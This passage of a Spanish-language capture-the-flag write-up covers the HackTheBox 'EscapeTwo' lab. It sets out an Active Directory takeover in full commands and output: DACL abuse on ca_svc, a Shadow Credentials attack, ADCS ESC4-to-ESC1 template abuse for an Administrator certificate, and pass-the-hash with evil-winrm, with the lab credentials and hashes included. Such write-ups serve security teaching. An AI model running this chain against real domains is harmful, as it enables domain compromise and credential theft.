EscapeTwo 3

WriteOwner significa que tenemos permisos de escritura sobre la cuenta ca_svc, donde podríamos intentar distintas cosas como cambiar su contraseña.

Primero, podemos asignarnos a nosotros mismos (el usuario ryan) como dueños (owners) del objeto/usuario ca_svc usando bloodyAD:

❯ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

Y, luego, darnos (usuario ryan) permisos totales sobre la cuenta ca_svc usando la herramienta dacledit.py de Impacket:

❯ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' SEQUEL.HTB/ryan:'WqSZAF6CysDQbGb3'

[*] DACL backed up to dacledit-20250114-061524.bak
[*] DACL modified successfully!

Ya que nunca es buena idea cambiar una contraseña, y menos de una cuenta de servicio, podemos tratar de realizar un ataque Shadow Credentials sobre la cuenta ca_svc para obtener así su hash NT. Para esto podríamos utilizar la herraienta PyWhisker. Pero reciéntemente descubrí que esto también puede ser realizado utilizando la herramienta Certipy (la cual puede ser descargada desde su repositorio de Github y puede ser fácilmente instalada ejecutando pip3 install certipy-ad en uan terminal). La usamos para performar este ataque:

❯ certipy shadow auto -username ryan@sequel.htb -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '98a79799-8c39-847d-a6b5-98c64a4fc496'
[*] Adding Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

Obtenemos un hash NT para la cuenta ca_svc.

Como ya es usual, usamos NetExec para revisar si este hash es válido:

❯ nxc smb DC01.sequel.htb -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce

Es válido.

Pero este usuario no tiene permisos interesantes sobre otros usuarios/cuentas:

EscapeTwo 4

No obstante, como su nombre lo dice (ca_svc), su nombre debe estar relacionado con el servicio AD CS y, por tanto, con certificados. Para revisar certificados a los que este usuario tiene acceso, podemos usar su hash NT junto con Certipy buscando por certificados vulnerables:

❯ certipy find -username 'ca_svc'@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -target dc01.sequel.htb -vulnerable -enabled

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250114064030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250114064030_Certipy.txt'
[*] Saved JSON output to '20250114064030_Certipy.json'

Esto guarda el output en un archivo .txt y otro .json.

Podemos obtener información interesante de este output buscando por palabras claves tales como CA Name, Template y ESC dado que las necesitaremos más adelante:

❯ cat 20250114064030_Certipy.txt | grep -E 'CA Name|Template Name|ESC'

    CA Name                             : sequel-DC01-CA
    Template Name                       : DunderMifflinAuthentication
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

Tenemos un template con nombre DunderMifflinAuthentication con algunos permisos/configuraciones peligrosos(as).

Basados en el output, este template puede ser utilizado para realizar una escalada catalogada como ESC4. Podemos ver cómo abusar de esta escalada yendo a la página de Github de Certify Github para ESC4, donde explican cómo abusar de ésta. Básicamente, podemos sobreescribir la configuración de este certificado. Para esto podemos ejecutar:

❯ certipy template -username ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -dc-ip 10.10.11.51 -target dc01.sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Ahora este certificado debería de ser vulnerable a ESC1. Para abusar de esta escalada podemos seguir estas instrucciones y solicitar así un archivo-certificado en nombre del usuario Administrator:

❯ certipy req -u ca_svc -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with multiple identifications
    UPN: 'administrator@sequel.htb'
    DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'

Esto debería de generar un archivo (certificado) .pfx.

Usamos así este archivo .pfx para extraer el hash NT del usuario Administrator (donde al momento de solicitar una identificación, seleccionamos la opcíón por UPN):

❯ certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@sequel.htb'
    [1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Obtenemos un hash NT para el usuario Administrator.

Revisamos si este hash funciona para el usuario Administrator con NetExec:

❯ nxc smb DC01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)

Funciona. Y es para un usuario privilegiado tal cual muestra el mensaje Pwn3d! para el servicio SMB. GG.

Nos conectamos a la máquina víctima usando el servicio WinRM con evil-winrm realizando un Pass The Hash (PtH) para el usuario Administrator:

❯ evil-winrm -i dc01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Podemos leer la flag root.txt en el Desktop del usuario Administrator.

~Happy Hacking.